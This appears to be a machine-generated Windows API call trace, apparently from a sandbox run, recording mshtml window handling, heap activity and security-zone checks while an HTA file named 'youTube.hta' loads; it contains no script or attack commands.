[0195.916] RegisterPowerSettingNotification (hRecipient=0x203d8, PowerSettingGuid=0x6dcff000, Flags=0x0) returned 0x6db2a0
[0195.918] GetProcessHeap () returned 0x6b0000
[0195.919] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6ec9c0
[0195.919] OpenProcess (dwDesiredAccess=0x100040, bInheritHandle=0, dwProcessId=0x7a4) returned 0x324
[0195.919] OpenThread (dwDesiredAccess=0x100040, bInheritHandle=0, dwThreadId=0x7a0) returned 0x328
[0195.919] GetProcessIdOfThread (Thread=0x328) returned 0x7a4
[0195.919] GetWindowThreadProcessId (in: hWnd=0x203d8, lpdwProcessId=0x19f8f4 | out: lpdwProcessId=0x19f8f4) returned 0x7a0
[0195.919] GetCurrentProcess () returned 0xffffffff
[0195.919] DuplicateHandle (in: hSourceProcessHandle=0x324, hSourceHandle=0x30c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x19f8f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x19f8f8*=0x32c) returned 1
[0195.919] MapViewOfFile (hFileMappingObject=0x32c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0xba0000
[0195.919] GetCurrentProcess () returned 0xffffffff
[0195.919] DuplicateHandle (in: hSourceProcessHandle=0x324, hSourceHandle=0x308, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x6ec9f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x6ec9f8*=0x330) returned 1
[0195.920] SetEvent (hEvent=0x310) returned 1
[0195.920] CloseHandle (hObject=0x32c) returned 1
[0195.920] CloseHandle (hObject=0x324) returned 1
[0195.920] SetEvent (hEvent=0x308) returned 1
[0195.920] SetWindowPos (hWnd=0x3029a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1
[0195.920] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.920] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x46, wParam=0x0, lParam=0x19fc0c*=197274, plResult=0x19fa68 | out: plResult=0x19fa68) returned 0x1
[0195.921] NtdllDefWindowProc_W () returned 0x0
[0195.921] GetCurrentThreadId () returned 0x7a0
[0195.961] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.963] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x47, wParam=0x0, lParam=0x19fc0c*=197274, plResult=0x19fa64 | out: plResult=0x19fa64) returned 0x1
[0195.963] NtdllDefWindowProc_W () returned 0x0
[0195.963] GetCurrentThreadId () returned 0x7a0
[0195.963] SetTimer (hWnd=0x3029a, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000
[0195.964] GetFocus () returned 0x0
[0195.964] EnumChildWindows (hWndParent=0x3029a, lpEnumFunc=0x6e6175e0, lParam=0x19f9d7) returned 0
[0195.964] GetFocus () returned 0x0
[0195.964] SetFocus (hWnd=0x3029a) returned 0x0
[0195.965] NtdllDefWindowProc_W () returned 0x0
[0195.965] NtdllDefWindowProc_W () returned 0x0
[0195.966] NtdllDefWindowProc_W () returned 0x0
[0195.966] NtdllDefWindowProc_W () returned 0x0
[0195.966] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0195.967] NtdllDefWindowProc_W () returned 0x0
[0195.967] NtdllDefWindowProc_W () returned 0x1
[0195.968] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0195.981] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0195.981] LoadLibraryExA (lpLibFileName="OLEACC.DLL", hFile=0x0, dwFlags=0x0) returned 0x65a10000
[0197.374] GetProcAddress (hModule=0x65a10000, lpProcName="LresultFromObject") returned 0x65a26b20
[0197.374] LresultFromObject () returned 0xc135
[0197.398] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.402] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.443] GetCurrentThreadId () returned 0x7a0
[0197.461] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.462] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.463] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.463] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.463] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.464] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.464] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.465] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.466] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0197.466] GetMessageTime () returned 0
[0197.467] GetMessagePos () returned 0x0
[0197.472] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x19f34c | out: plResult=0x19f34c) returned 0x0
[0197.494] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0197.495] GetMessageTime () returned 0
[0197.495] GetMessagePos () returned 0x0
[0197.495] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x19ec0c | out: plResult=0x19ec0c) returned 0x0
[0197.495] GetCurrentThreadId () returned 0x7a0
[0197.495] GetCurrentThreadId () returned 0x7a0
[0197.496] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0197.496] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x6c6a50, hWnd=0x3029a, phIMC=0x19f71c | out: phIMC=0x19f71c*=0x170399) returned 0x0
[0197.497] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f448 | out: lpPoint=0x19f448) returned 1
[0197.498] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f448 | out: lpPoint=0x19f448) returned 1
[0197.498] GetCapture () returned 0x0
[0197.499] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.522] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.522] memcpy_s (in: _Destination=0x640a290, _DestinationSize=0x10, _Source=0x19ef28, _SourceSize=0x10 | out: _Destination=0x640a290) returned 0x0
[0197.522] GetCurrentThreadId () returned 0x7a0
[0197.523] GetCurrentThreadId () returned 0x7a0
[0197.523] GetCurrentThreadId () returned 0x7a0
[0197.523] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.526] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.526] GetCurrentThreadId () returned 0x7a0
[0197.527] GetMessageTime () returned 0
[0197.527] GetMessagePos () returned 0x0
[0197.527] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x19f67c | out: plResult=0x19f67c) returned 0x1
[0197.527] NtdllDefWindowProc_W () returned 0x0
[0197.527] GetCurrentThreadId () returned 0x7a0
[0197.539] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x0) returned 0x6dc70000
[0197.539] LoadLibraryExW (lpLibFileName="mshtml.dll", hFile=0x0, dwFlags=0x60) returned 0x6dc70000
[0197.539] LoadStringW (in: hInstance=0x6dc70000, uID=0xb5, lpBuffer=0x19fb68, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0197.575] LoadStringW (in: hInstance=0x6dc70000, uID=0xb5, lpBuffer=0x19fbd0, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0197.575] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.575] LoadStringW (in: hInstance=0x6dc70000, uID=0xb5, lpBuffer=0x19fba8, cchBufferMax=46 | out: lpBuffer="HTML Document") returned 0xd
[0197.575] GetWindowThreadProcessId (in: hWnd=0xa01d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a0
[0197.575] GetCurrentThreadId () returned 0x7a0
[0197.576] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.576] IUnknown:Release (This=0x6c2280) returned 0x1
[0197.576] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4e20 | out: hHeap=0x6b0000) returned 1
[0197.576] GetMessageW (lpMsg=0x19fe74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0)
[0197.577] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0197.577] SetEvent (hEvent=0x310) returned 1
[0197.578] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x3002b85, dwReserved=0x0, ppURI=0x19e548 | out: ppURI=0x19e548*=0x6d993c) returned 0x0
[0197.578] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19e524 | out: ppvObject=0x19e524*=0x6d993c) returned 0x0
[0197.579] IUnknown:Release (This=0x6d993c) returned 0x8
[0197.579] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0197.579] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x68) returned 0x707818
[0197.579] IUnknown:Release (This=0x6d993c) returned 0x8
[0197.579] IUnknown:Release (This=0x6d993c) returned 0x7
[0197.579] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x707a18
[0197.579] FindResourceExW (hModule=0x6dc70000, lpType=0x6, lpName=0x1fe, wLanguage=0x0) returned 0x71d8a98
[0197.579] LoadResource (hModule=0x6dc70000, hResInfo=0x71d8a98) returned 0x71ded10
[0197.579] LockResource (hResData=0x71ded10) returned 0x71ded10
[0197.579] VirtualQuery (in: lpAddress=0x71ded10, lpBuffer=0x19f6fc, dwLength=0x1c | out: lpBuffer=0x19f6fc*(BaseAddress=0x71de000, AllocationBase=0x6f40000, AllocationProtect=0x2, RegionSize=0x15d000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
[0197.579] SizeofResource (hModule=0x6dc70000, hResInfo=0x71d8a98) returned 0x1be
[0197.580] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x707818 | out: hHeap=0x6b0000) returned 1
[0197.580] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x707a18, Size=0x86) returned 0x707a18
[0197.580] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8a) returned 0x707aa8
[0197.587] GetCurrentThreadId () returned 0x7a0
[0197.587] SetEvent (hEvent=0x29c) returned 1
[0197.589] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0197.589] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0197.589] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.589] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f9d0, dwFlags=0x0 | out: pdwZone=0x19f9d0*=0xffffffff) returned 0x800c0011
[0197.589] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.589] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.589] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.589] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f9d4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x19f9b4 | out: pPolicy=0x19f9d4*=0x0, pdwOutFlags=0x19f9b4*=0x0) returned 0x0
[0197.589] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f9d4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x19f9d4*=0x0) returned 0x0
[0197.589] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.589] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0197.589] IUnknown:Release (This=0x6d993c) returned 0x7
[0197.590] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19fa24 | out: ppu=0x19fa24) returned 0x0
[0197.591] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.591] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.591] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.592] memcpy_s (in: _Destination=0x6d6a82, _DestinationSize=0x1ffe, _Source=0x19f6c0, _SourceSize=0x4 | out: _Destination=0x6d6a82) returned 0x0
[0197.592] SetTimer (hWnd=0x3029a, nIDEvent=0x1008, uElapse=0x64, lpTimerFunc=0x0) returned 0x1008
[0197.593] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0197.593] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0197.593] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.593] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f5b8, dwFlags=0x0 | out: pdwZone=0x19f5b8*=0xffffffff) returned 0x800c0011
[0197.593] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.593] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.593] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.593] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x2106, pPolicy=0x19f5bc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0x19f59c | out: pPolicy=0x19f5bc*=0x0, pdwOutFlags=0x19f59c*=0x0) returned 0x0
[0197.593] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x2106, pPolicy=0x19f5bc, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x19f5bc*=0x0) returned 0x0
[0197.594] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.594] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0197.594] IUnknown:Release (This=0x6d993c) returned 0x7
[0197.594] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.594] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.594] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.594] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.595] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.595] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.595] GetVersionExW (in: lpVersionInformation=0x19f598*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x40, dwMinorVersion=0x866f80, dwBuildNumber=0x19f5c4, dwPlatformId=0x6e15f749, szCSDVersion="⡈\x86@") | out: lpVersionInformation=0x19f598*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0197.595] GetKeyboardLayoutList (in: nBuff=32, lpList=0x19f6bc | out: lpList=0x19f6bc) returned 1
[0197.595] WTSGetActiveConsoleSessionId () returned 0x1
[0197.595] RegisterClipboardFormatA (lpszFormat="HTML Format") returned 0xc09f
[0197.600] RegisterClipboardFormatA (lpszFormat="Rich Text Format") returned 0xc0dc
[0197.600] RegisterClipboardFormatA (lpszFormat="RTF As Text") returned 0xc0df
[0197.600] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptor") returned 0xc09a
[0197.600] RegisterClipboardFormatW (lpszFormat="FileGroupDescriptorW") returned 0xc09b
[0197.600] RegisterClipboardFormatW (lpszFormat="FileContents") returned 0xc099
[0197.600] RegisterClipboardFormatW (lpszFormat="Shell IDList Array") returned 0xc096
[0197.600] RegisterClipboardFormatW (lpszFormat="UniformResourceLocator") returned 0xc0a4
[0197.600] RegisterClipboardFormatA (lpszFormat="image/svg+xml") returned 0xc125
[0197.601] RegisterClipboardFormatA (lpszFormat="msSourceUrl") returned 0xc126
[0197.601] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.601] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.601] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.601] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.601] StrChrW (lpStart="style", wMatch=0x3a) returned 0x0
[0197.602] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.602] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.602] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.603] IsCharSpaceW (wch=0x66) returned 0
[0197.603] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.603] IsCharSpaceW (wch=0x3a) returned 0
[0197.603] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x22) returned 0x6da7f0
[0197.603] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.603] IsCharSpaceW (wch=0x20) returned 1
[0197.603] IsCharSpaceW (wch=0x23) returned 0
[0197.603] IsCharAlphaNumericW (ch=0x23) returned 0
[0197.603] IsCharAlphaNumericW (ch=0x30) returned 1
[0197.603] IsCharAlphaNumericW (ch=0x0) returned 0
[0197.604] IsCharSpaceW (wch=0x30) returned 0
[0197.604] IsCharSpaceW (wch=0x23) returned 0
[0197.604] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6f98a8
[0197.604] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.604] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d49d0
[0197.604] StrChrW (lpStart="id", wMatch=0x3a) returned 0x0
[0197.604] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e) returned 0x6c6500
[0197.604] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.604] memcpy_s (in: _Destination=0x6d6a84, _DestinationSize=0x1ffc, _Source=0x19f324, _SourceSize=0xc | out: _Destination=0x6d6a84) returned 0x0
[0197.605] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.605] memcpy_s (in: _Destination=0x6d6a90, _DestinationSize=0x1ff0, _Source=0x6dfc84, _SourceSize=0x8 | out: _Destination=0x6d6a90) returned 0x0
[0197.605] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c8100 | out: hHeap=0x6b0000) returned 1
[0197.605] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.605] StrChrW (lpStart="style", wMatch=0x3a) returned 0x0
[0197.605] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.605] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.605] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.605] IsCharSpaceW (wch=0x66) returned 0
[0197.605] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.605] IsCharSpaceW (wch=0x3a) returned 0
[0197.605] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.605] IsCharSpaceW (wch=0x20) returned 1
[0197.605] IsCharSpaceW (wch=0x23) returned 0
[0197.606] IsCharAlphaNumericW (ch=0x23) returned 0
[0197.606] IsCharAlphaNumericW (ch=0x30) returned 1
[0197.606] IsCharAlphaNumericW (ch=0x0) returned 0
[0197.606] IsCharSpaceW (wch=0x30) returned 0
[0197.606] IsCharSpaceW (wch=0x23) returned 0
[0197.606] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6c4e20
[0197.606] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.606] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d49b0
[0197.606] StrChrW (lpStart="id", wMatch=0x3a) returned 0x0
[0197.606] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e) returned 0x6c6370
[0197.606] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.606] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.606] memcpy_s (in: _Destination=0x6d6a98, _DestinationSize=0x1fe8, _Source=0x19f324, _SourceSize=0x4 | out: _Destination=0x6d6a98) returned 0x0
[0197.606] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.606] memcpy_s (in: _Destination=0x6d6a9c, _DestinationSize=0x1fe4, _Source=0x6dfcf0, _SourceSize=0x80e | out: _Destination=0x6d6a9c) returned 0x0
[0197.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.607] StrChrW (lpStart="style", wMatch=0x3a) returned 0x0
[0197.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.607] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.607] IsCharSpaceW (wch=0x66) returned 0
[0197.607] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.607] IsCharSpaceW (wch=0x3a) returned 0
[0197.607] IsCharAlphaNumericW (ch=0x3a) returned 0
[0197.607] IsCharSpaceW (wch=0x20) returned 1
[0197.607] IsCharSpaceW (wch=0x23) returned 0
[0197.607] IsCharAlphaNumericW (ch=0x23) returned 0
[0197.607] IsCharAlphaNumericW (ch=0x0) returned 0
[0197.607] IsCharSpaceW (wch=0x66) returned 0
[0197.607] IsCharSpaceW (wch=0x23) returned 0
[0197.607] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x700388
[0197.608] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.608] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x2) returned 0x6d48c0
[0197.608] StrChrW (lpStart="id", wMatch=0x3a) returned 0x0
[0197.608] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x28) returned 0x6da700
[0197.608] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.608] memcpy_s (in: _Destination=0x6d72aa, _DestinationSize=0x17d6, _Source=0x19f324, _SourceSize=0x4 | out: _Destination=0x6d72aa) returned 0x0
[0197.608] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.608] memcpy_s (in: _Destination=0x6d72ae, _DestinationSize=0x17d2, _Source=0x6e056c, _SourceSize=0x82 | out: _Destination=0x6d72ae) returned 0x0
[0197.608] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.608] StrChrW (lpStart="language", wMatch=0x3a) returned 0x0
[0197.609] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.609] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x6f88f0
[0197.609] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.609] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.609] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.609] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.609] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x7006b8
[0197.610] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c8210 | out: hHeap=0x6b0000) returned 1
[0197.611] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7006b8, Size=0xe0a) returned 0x7006b8
[0197.611] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xd8a) returned 0x70dcc0
[0197.611] memcpy_s (in: _Destination=0x6d7330, _DestinationSize=0x1750, _Source=0x19f940, _SourceSize=0x8 | out: _Destination=0x6d7330) returned 0x0
[0197.612] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.612] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.613] RedrawWindow (hWnd=0x3029a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0xa1) returned 1
[0197.613] QueryPerformanceCounter (in: lpPerformanceCount=0x19f8a8 | out: lpPerformanceCount=0x19f8a8*=3013235812512) returned 1
[0197.616] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0197.617] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f984 | out: ppu=0x19f984) returned 0x0
[0197.617] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0197.617] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0197.617] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.617] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f930, dwFlags=0x0 | out: pdwZone=0x19f930*=0xffffffff) returned 0x800c0011
[0197.617] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.617] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.617] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.617] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f914 | out: pPolicy=0x19f934*=0x0, pdwOutFlags=0x19f914*=0x0) returned 0x0
[0197.617] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f934*=0x0) returned 0x0
[0197.617] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.617] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0197.617] IUnknown:Release (This=0x6d993c) returned 0x7
[0197.618] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f8a0 | out: ppu=0x19f8a0) returned 0x0
[0197.618] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0197.618] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0197.618] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.618] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f84c, dwFlags=0x0 | out: pdwZone=0x19f84c*=0xffffffff) returned 0x800c0011
[0197.618] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.618] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.618] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0197.618] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f830 | out: pPolicy=0x19f850*=0x0, pdwOutFlags=0x19f830*=0x0) returned 0x0
[0197.618] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f850*=0x0) returned 0x0
[0197.618] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0197.618] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0197.618] IUnknown:Release (This=0x6d993c) returned 0x7
